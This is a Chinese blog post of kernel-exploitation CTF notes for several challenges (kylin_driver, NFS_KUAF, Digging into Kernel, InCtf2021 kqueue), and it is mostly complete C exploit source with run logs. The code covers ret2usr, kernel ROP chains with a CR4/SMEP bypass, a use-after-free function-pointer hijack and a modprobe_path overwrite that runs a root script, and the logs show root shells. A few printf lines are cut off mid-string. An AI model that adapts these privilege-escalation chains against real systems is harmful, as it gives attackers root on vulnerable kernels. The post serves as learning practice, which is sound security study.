
小白学kernel,还是得多做题啊…打算周更kernel刷题笔记,如果笔者一周没更一题出来要么是大成了、要么是寄了
先以一道极其简单的题目开始我的kernel之旅
ccb kylin_driver
描述:题目很怪,开了kaslr但是为了调试改成nokaslr就没法启动了,而且做的时候没发现start.sh里写了pti=on,于是兴高采烈地去做ret2usr后来打不通发现开了pti。
总结:笔者把pti关了做了一遍ret2usr(就当练习了),然后又做了一遍kernel ROP,学会了gef的使用(果然pwndbg在kernel pwn还是功能还是太孱弱了,vmmap都报错),
┌──(root㉿kali)-[/home/kali/Desktop/kernel/core]
└─# cat go.sh
#!/bin/bash
# 切换到工作目录
cd ~/Desktop/kernel/core
# 编译 exploit
echo "[*] Compiling exploit..."
gcc exp.c -static -masm=intel -g -o exploit || {
echo "[-] Compilation failed!"
exit 1
}
# 打包文件系统
echo "[*] Creating rootfs.cpio..."
sudo bash -c "find . | cpio -o --format=newc > ../rootfs.cpio" || {
echo "[-] Failed to create cpio archive!"
exit 1
}
# 返回上级目录
cd ..
# 启动内核
echo "[*] Launching kernel..."
sudo ./start.sh
ret2usr(关了pti打)
~ # cat exp.c
// gcc exp.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t addr, ko_addr, commit_creds_addr, prepare_kernel_cred_addr;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
//exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
typedef struct {
char buf1[32];
char buf2[512];
} A;
void* (*prepare_kernel_cred_kfunc)(void *task_struct);
int (*commit_creds_kfunc)(void *cred);
void ret2usr()
{
prepare_kernel_cred_kfunc = (void*(*)(void*)) prepare_kernel_cred_addr;
commit_creds_kfunc = (int (*)(void*)) commit_creds_addr;
(*commit_creds_kfunc)((*prepare_kernel_cred_kfunc)(NULL));
asm volatile(
"mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"add rax, 8;" /* stack balance */
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"lea rax, spawn_shell;"
"push rax;"
"swapgs;"
"iretq;"
);
}
int main()
{
save_status();
int fd = open("/dev/test", 2);
if(fd < 0)
{
puts("[*]open file error!");
exit(0);
}
A a;
find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;
strncpy(a.buf1,"gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc",0x21);
for(int idx=0;idx<32;idx++) a.buf1[idx] ^= 0xF9u; // decode
ioctl(fd,0xdeadbeef,&a);
for (int i = 7; i >= 0; i--) {
ko_addr <<= 8;
ko_addr |= ((unsigned char)a.buf2[i] ^ 0xF9);}
for (int i = 7; i >= 0; i--) {
commit_creds_addr <<= 8;
commit_creds_addr |= ((unsigned char)a.buf2[i+6*8] ^ 0xF9);}
commit_creds_addr = commit_creds_addr +0xffffffff9cecf720- 0xffffffff9cefb48a;
printf("ko address: 0x%llx\n", ko_addr);
printf("commit_creds_addr address: 0x%llx\n", commit_creds_addr);
prepare_kernel_cred_addr = commit_creds_addr +0xffffffffb34cfbe0-0xffffffffb34cf720;
printf("prepare_kernel_cred_addr address: 0x%llx\n", prepare_kernel_cred_addr);
size_t rop[0x50];
int i = 0;
unsigned long pop_rax_ret = 0xffffffff810b6d10 + (unsigned long)commit_creds_addr - 0xcf720 - 0;
printf("pop_rax_ret address: 0x%llx\n", pop_rax_ret);
rop[i++] = (size_t)pop_rax_ret;//pop_rax
rop[i++] = 0x6f0;
rop[i++] = (size_t)(ko_addr + 0x9);//mov_rdi,rax
rop[i++] = (size_t)(ko_addr + 0xd);//mov_cr4_rdi
rop[i++] = (size_t)ret2usr;
//0xffffffff810b6d10 : pop rax ; ret
memcpy((char*)a.buf2, (char*)rop, 0x200);
for (int i = 0; i < 0x200; i++)
*(a.buf2+i)^=0xf9;
ioctl(fd, 0xfeedface, &a);
return 0;
}
~ $ ./exploit
[*]status has been saved.
ko address: 0xffffffffc02db000
commit_creds_addr address: 0xffffffff8aacf720
prepare_kernel_cred_addr address: 0xffffffff8aacfbe0
pop_rax_ret address: 0xffffffff8aab6d10
~ # [ 316.557081][ T15] Authorization warning: Authorization binary is corrupted, Please call 40.
id
uid=0 gid=0
kernel ROP
因为题目只给了bzImage,extract出来的vmlinux没有符号表符号表是裸的,所以swapgs_restore_regs_and_return_to_usermode需要先开root去/proc/kallsyms找
~ # cat exp.c
// gcc exp.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t addr, ko_addr, commit_creds_addr, prepare_kernel_cred_addr;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
//exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
typedef struct {
char buf1[32];
char buf2[512];
} A;
int main()
{
save_status();
int fd = open("/dev/test", 2);
if(fd < 0)
{
puts("[*]open file error!");
exit(0);
}
A a;
find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;
strncpy(a.buf1,"gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc",0x21);
for(int idx=0;idx<32;idx++) a.buf1[idx] ^= 0xF9u; // decode
ioctl(fd,0xdeadbeef,&a);
for (int i = 7; i >= 0; i--) {
ko_addr <<= 8;
ko_addr |= ((unsigned char)a.buf2[i] ^ 0xF9);}
for (int i = 7; i >= 0; i--) {
commit_creds_addr <<= 8;
commit_creds_addr |= ((unsigned char)a.buf2[i+6*8] ^ 0xF9);}
commit_creds_addr = commit_creds_addr +0xffffffff9cecf720- 0xffffffff9cefb48a;
printf("ko address: 0x%llx\n", ko_addr);
printf("commit_creds_addr address: 0x%llx\n", commit_creds_addr);
prepare_kernel_cred_addr = commit_creds_addr +0xffffffffb34cfbe0-0xffffffffb34cf720;
printf("prepare_kernel_cred_addr address: 0x%llx\n", prepare_kernel_cred_addr);
size_t rop[0x50];
int i = 0;
unsigned long pop_rax_ret = 0xffffffff810b6d10 + (unsigned long)commit_creds_addr - 0xcf720 - 0xffffffff81000000;
printf("pop_rax_ret address: 0x%llx\n", pop_rax_ret);
// 0xffffffff81090c80 : pop rdi ; ret //
unsigned long pop_rdi_ret = 0xffffffff81090c80 + (unsigned long)commit_creds_addr - 0xcf720 - 0xffffffff81000000;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0xffffffffb1200ff0 - 0xffffffffb06cf720 + commit_creds_addr ;
printf("swapgs offset: 0x%llx\n", 0xffffffffb1200ff0 - 0xffffffffb06cf720 + 0xcf720) ;
rop[i++] = (size_t)pop_rdi_ret;
rop[i++] = (size_t)0;
rop[i++] = (size_t)prepare_kernel_cred_addr;
rop[i++] = (size_t)(ko_addr+0x9);//mod_rdi_rax_ret
rop[i++] = (size_t)commit_creds_addr;
rop[i++] = (size_t)swapgs_restore_regs_and_return_to_usermode+0x36;
rop[i++] = (size_t)0;
rop[i++] = (size_t)0;
rop[i++] = (size_t)spawn_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp - 8 ; // userland stack balance
rop[i++] = user_ss;
//0xffffffff810b6d10 : pop rax ; ret
memcpy((char*)a.buf2, (char*)rop, 0x200);
for (int i = 0; i < 0x200; i++)
*(a.buf2+i)^=0xf9;
ioctl(fd, 0xfeedface, &a);
return 0;
}
~ $ ./exploit
[*]status has been saved.
commit_creds addr: (nil)
vmlinux_base addr: 0xfffffffffff63720
prepare_kernel_cred addr: (nil)
commit_creds addr: (nil)
vmlinux_base addr: 0xfffffffffff63720
commit_creds addr: (nil)
vmlinux_base addr: 0xfffffffffff63720
commit_creds addr: (nil)
vmlinux_base addr: 0xfffffffffff63720
[*]Error!
ko address: 0xffffffffc0368000
commit_creds_addr address: 0xffffffff9dccf720
prepare_kernel_cred_addr address: 0xffffffff9dccfbe0
pop_rax_ret address: 0xffffffff9dcb6d10
swapgs offset: 0xc00ff0
~ #
ccb-final NFS_KUAF
这次出题人把所有保护都关了,感觉邮电不祥的预感 (X_X )!!!
┌──(kali㉿kali)-[~/Desktop/kernel]
└─$ cat run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel bzImage \
-initrd rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 loglevel=8 earlyprintk=serial,ttyS0,115200 nokaslr pti=off" \
-cpu kvm64,-smep,-smap \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-no-reboot
┌──(kali㉿kali)-[~/Desktop/kernel]
└─$ strings vmlinux | grep "Linux version"
Linux version 5.4.0-100-generic (haski@prod-haski-v2-x86-deb-builder-1) (gcc version 10.2.1 20210110 (Debian 10.2.1-6)) #100.1+m53+2nfs5 SMP Fri Mar 22 12:15:30 UTC 2024
ko文件扣了符号表,函数和上一题一样根本看不出来对应的fallback,学到了一个知识点:可以通过file_operations的偏移找
.rodata:0000000000000560 off_560 dq offset __this_module ; DATA XREF: .data:00000000000008B0↓o
.rodata:0000000000000568 align 10h
.rodata:0000000000000570 dq offset sub_43 //read
.rodata:0000000000000578 dq offset sub_217 //write
.rodata:0000000000000580 db 0
......
.rodata:00000000000005AF db 0
.rodata:00000000000005B0 dq offset sub_408 //ioctl
.rodata:00000000000005B8 db 0
struct file_operations {
struct module *owner;//拥有该结构的模块的指针,一般为THIS_MODULES
loff_t (*llseek) (struct file *, loff_t, int);//用来修改文件当前的读写位置
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);//从设备中同步读取数据
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);//向设备发送数据
ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);//初始化一个异步的读取操作
ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);//初始化一个异步的写入操作
int (*readdir) (struct file *, void *, filldir_t);//仅用于读取目录,对于设备文件,该字段为NULL
unsigned int (*poll) (struct file *, struct poll_table_struct *); //轮询函数,判断目前是否可以进行非阻塞的读写或写入
int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long); //执行设备I/O控制命令
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); //不使用BLK文件系统,将使用此种函数指针代替ioctl
long (*compat_ioctl) (struct file *, unsigned int, unsigned long); //在64位系统上,32位的ioctl调用将使用此函数指针代替
int (*mmap) (struct file *, struct vm_area_struct *); //用于请求将设备内存映射到进程地址空间
int (*open) (struct inode *, struct file *); //打开
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *); //关闭
int (*fsync) (struct file *, struct dentry *, int datasync); //刷新待处理的数据
int (*aio_fsync) (struct kiocb *, int datasync); //异步刷新待处理的数据
int (*fasync) (int, struct file *, int); //通知设备FASYNC标志发生变化
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **);
};
ida逆向发现有一个UAF漏洞,还有个任意函数执行?,而且啥保护没开这不直接ret2usr,打着试试。
我靠,这不ret2usr就能打通吗?这踏马是决赛?😂😂😂
~ $ ./exploit
[*]status has been saved.
~ # whoami
whoami: unknown uid 0
~ # cat exp.c
// gcc exp.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
//exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void* (*prepare_kernel_cred_kfunc)(void *task_struct);
int (*commit_creds_kfunc)(void *cred);
void ret2usr()
{
prepare_kernel_cred_kfunc = (void*(*)(void*)) prepare_kernel_cred;
commit_creds_kfunc = (int (*)(void*)) commit_creds;
(*commit_creds_kfunc)((*prepare_kernel_cred_kfunc)(NULL));
asm volatile(
"mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"add rax, 8;" /* stack balance */
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"lea rax, spawn_shell;"
"push rax;"
"swapgs;"
"iretq;"
);
}
int main()
{
save_status();
//find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;
size_t ko_addr;
commit_creds = 0xffffffff810c5010;
vmlinux_base = 0xffffffff81028730;
prepare_kernel_cred = 0xffffffff810c5270;
ko_addr = 0xffffffffc0002000;
int fd1 = open("/dev/uaf_device", 2);
int fd2 = open("/dev/uaf_device", 2);
size_t buffer[0x30];
buffer[0]=(size_t)ret2usr;
write(fd1,buffer,0x100);
//ioctl(fd1,0);
read(fd1,buffer,0x100);
return 0;
}
Digging into Kernel
在模块载入时会新建一个 kmem_cache 叫
"lalala",对应 object 大小是 192,这里我们注意到后面三个参数都是 0 ,对应的是 align(对齐)、flags(标志位)、ctor(构造函数),由于没有设置SLAB_ACCOUNT标志位故该kmem_cache会默认与 kmalloc-192 合并。
c怪不得我半天调不出来“lalala” kmem_cache,原来是和kmalloc-192 merge了一下,
然而,在实际劫持freelist进行uaf去分配寻找modprobe_path的过程中,我们发现其实际上是在cred_jar上分配的。
gef> slub-dump cred_jar -n -q
slab_caches @ 0xffffffff824602c0
kmem_cache: 0xffff888006c82500
name: cred_jar
flags: 0x40042000 (__CMPXCHG_DOUBLE | SLAB_PANIC | SLAB_HWCACHE_ALIGN)
object size: 0xc0 (chunk size: 0xc0)
offset (next pointer in chunk): 0x0
red_left_pad: 0x0
kmem_cache_cpu (cpu0): 0xffff88800702c090
active page: 0xffffea00001ea0c0
virtual address: 0xffff888007a83000
num pages: 1
in-use: 20/21
frozen: 1
layout: 0x000 0xffff888007a83000 (in-use)
0x001 0xffff888007a830c0 (in-use)
0x002 0xffff888007a83180 (in-use)
0x003 0xffff888007a83240 (in-use)
0x004 0xffff888007a83300 (in-use)
0x005 0xffff888007a833c0 (in-use)
0x006 0xffff888007a83480 (in-use)
0x007 0xffff888007a83540 (in-use)
0x008 0xffff888007a83600 (in-use)
0x009 0xffff888007a836c0 (in-use)
0x00a 0xffff888007a83780 (in-use)
0x00b 0xffff888007a83840 (in-use)
0x00c 0xffff888007a83900 (in-use)
0x00d 0xffff888007a839c0 (in-use)
0x00e 0xffff888007a83a80 (in-use)
0x00f 0xffff888007a83b40 (in-use)
0x010 0xffff888007a83c00 (in-use)
0x011 0xffff888007a83cc0 (in-use)
0x012 0xffff888007a83d80 (in-use)
0x013 0xffff888007a83e40 (in-use)
0x014 0xffff888007a83f00 (in-use)
0x015 0xffff888007a83fc0 (never-used)
freelist (fast path):
0xffff88800009cff0
freelist (slow path): (none)
next: 0xffff888006c82400
另外地,我们无法通过cat /proc/kallsyms来找到modprobe_path的地址。幸运的是,在__request_module中,存在一个对modprobe_path的引用。由此,我们可以从/proc/kallsyms中找到__request_module函数的地址,并使用gdb连接到kernel,查看该函数附近的汇编代码,即可找到modprobe_path的地址~

最后成功通了,然而可惜的是,我的exp成功率低的可怜(实测只有30%左右)
// gcc exp.c -static -masm=intel -g -o exp
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/user.h>
#include <ctype.h>
#include <stdint.h>
#include <sched.h>
#define PIPE_BUF_FLAG_CAN_MERGE 0x10
#define ROOT_SCRIPT_PATH "/home/getshell"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag\n";
#define modprobe_a 0xffffffff82444700
void spawn_shell()
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
//execve("/bin/sh",0,0);
/***if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);***/
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void print_hex_buffer(const void *buffer, size_t size) {
const unsigned char *data = (const unsigned char *)buffer;
size_t i, j;
if (buffer == NULL || size == 0) {
printf("[!] Buffer is NULL or size is 0.\n");
return;
}
printf("Dumping %zu bytes from %p:\n", size, buffer);
printf("--------------------------------------------------------------------\;
for (i = 0; i < size; i += 16) {
printf("0x%08zx | ", i);
// 打印十六进制字节
for (j = 0; j < 16; j++) {
if (i + j < size) {
printf("%02x ", data[i + j]);
} else {
printf(" ");
}
}
printf("| "); // 分隔符
for (j = 0; j < 16; j++) {
if (i + j < size) {
if (isprint(data[i + j])) {
printf("%c", data[i + j]);
} else {
printf(".");
}
} else {
printf(" ");
}
}
printf("\n");
}
printf("--------------------------------------------------------------------\;
}
typedef struct{
void *ptr;
uint32_t offset;
uint32_t len;
}Data1;
void bindCore(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
int main()
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
bindCore(0);
char buffer[0x100];
int fd1 = open("/dev/xkmod", O_RDONLY);
int fd2 = open("/dev/xkmod", O_RDONLY);
printf("[*] Start Write File.\r\n");
int write_fd = open(ROOT_SCRIPT_PATH,O_RDWR|O_CREAT);
write(write_fd,root_cmd,sizeof(root_cmd));
close(write_fd);
system("chmod +x " ROOT_SCRIPT_PATH);
Data1 data;
ioctl(fd1, 0x1111111,&data);
close(fd1);
printf("[*] Start Leak Addr.\r\n");
data.len=0x50;
data.ptr=&buffer;
data.offset=0x0;
ioctl(fd2,0x7777777,&data);
print_hex_buffer(buffer,0x50);
size_t leak_heap_base ;
memcpy(&leak_heap_base,&buffer,8);
leak_heap_base = leak_heap_base&0xfffffffff0000000;
printf("[*] Leaked Addr : 0x%lx.\r\n",leak_heap_base);
size_t leak1 = leak_heap_base + 0x9d000-0x10;
printf("[*] 0x%lx.\r\n",leak1);
memcpy(&buffer,&leak1,8);
data.len=0x8;
//print_hex_buffer(buffer,0x50);
ioctl(fd2,0x6666666,&data);
for(int i=0;i<2;i++) ioctl(fd2,0x1111111,&data);
data.len=0x50;
ioctl(fd2,0x7777777,&data);
print_hex_buffer(buffer,0x50);
size_t leak2 ;
memcpy(&leak2,buffer+0x10,8);
size_t mod_a = modprobe_a + leak2 - 0xffffffff81000030 -0x10;
printf("[*] Leak Done. Modprobe_addr: 0x%lx.\r\nThen. We will overwrite the M;
int fd3 = open("/dev/xkmod",O_RDONLY);
ioctl(fd2,0x1111111,&data);
close(fd2);
ioctl(fd3,0x7777777,&data);
data.len=8;
memcpy(buffer,&mod_a,8);
ioctl(fd3,0x6666666,&data);
ioctl(fd3,0x1111111,&data);
data.len=0x50;
ioctl(fd3,0x7777777,&data);
printf("1...\r\n");
ioctl(fd3,0x1111111,&data);
data.len=0x50;
ioctl(fd3,0x7777777,&data);
printf("2...\r\n");
print_hex_buffer(buffer,0x50);
strcpy(buffer+0x10, ROOT_SCRIPT_PATH);
ioctl(fd3,0x6666666,&data);
data.len=0x50;
ioctl(fd3,0x7777777,&data);
print_hex_buffer(buffer,0x50);
printf("[*] Overwrite Done.\r\nThen. Trigger the vuln and Getshell!!!\r\n");
char flag[0x100];
int flag_fd;
system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
system("chmod +x /home/fake");
system("/home/fake");
memset(flag, 0, sizeof(flag));
flag_fd = open("/flag", O_RDWR);
if (flag_fd < 0) {
printf("Open flag failed");
exit(0);
}
read(flag_fd, flag, sizeof(flag));
printf("\033[32m\033[1m[+] Got flag: \033[0m%s\n", flag);
spawn_shell();
}
InCtf2021 kqueue
有个堆溢出,溢出长度自定。
还有就是,这代码太tmd乱了写的,逆不动。
逆出来的结构体大概如下
00000000 struct NodeHeader // sizeof=0x20
00000000 {
00000000 __int16 entrySize;
00000002 __int16 padding0;
00000004 __int32 padding1;
00000008 __int64 totalSize;
00000010 __int32 entryNums;
00000014 __int32 padding2;
00000018 __int64 firstPtr;
00000020 };
00000000 struct Node // sizeof=0x18
00000000 {
00000000 __int16 idx;
00000002 __int16 padding0;
00000004 __int32 padding1;
00000008 __int64 Ptr;
00000010 __int64 NextNode;
00000018 };
struct $A3F923FF7ED7044BAD720129C3318D20 // sizeof=0x18
00000000 {
00000000 uint32_t max_entries; // XREF: kqueue_ioctl+70/r
00000000 // kqueue_ioctl+BF/r ...
00000004 uint16_t data_size;
00000006 uint16_t entry_idx;
00000008 uint16_t queue_idx; // XREF: kqueue_ioctl+6C/r
00000008 // kqueue_ioctl+BB/r ...
0000000A // padding byte
0000000B // padding byte
0000000C // padding byte
0000000D // padding byte
0000000E // padding byte
0000000F // padding byte
00000010 char *data; // XREF: kqueue_ioctl+68/r
00000010 // kqueue_ioctl+B7/r ...
00000018 };
打得时候一直报错
[ 8.987225] Call Trace:
[ 8.989460] ? seq_read+0x89/0x3d0
[ 8.989770] ? vfs_read+0x9b/0x180
[ 8.989895] ? ksys_read+0x5a/0xd0
后来发现一个原因是没有栈平衡,另一个是ret2usr给指针赋值写错了。。。
// gcc exp.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h> // uint32_t, uint16_t
#include <string.h>
#include <inttypes.h> // SCNx64 if needed
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t addr, ko_addr, commit_creds_addr, prepare_kernel_cred_addr;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
//exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
/***
ffffffff8108c140 T commit_creds
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff8108c580 T prepare_kernel_cred
*/
void ret2usr() //nokaslr
{
//printf("[*] Exec ret2usr\n");
void* (*prepare_kernel_cred_kfunc)(void *) = (void*(*)(void*))0xffffffff8108c580;
int (*commit_creds_kfunc)(void *) = (int(*)(void*))0xffffffff8108c140;
(*commit_creds_kfunc)((*prepare_kernel_cred_kfunc)(NULL));
asm volatile(
"mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"add rax, 8;" /* stack balance */
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"lea rax, spawn_shell;"
"push rax;"
"swapgs;"
"iretq;"
);
}
struct Input{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char *data;
};
struct Input myinput;
int create_kqueue(int fd, int max, int data_size){
myinput.max_entries = max;
myinput.data_size = data_size;
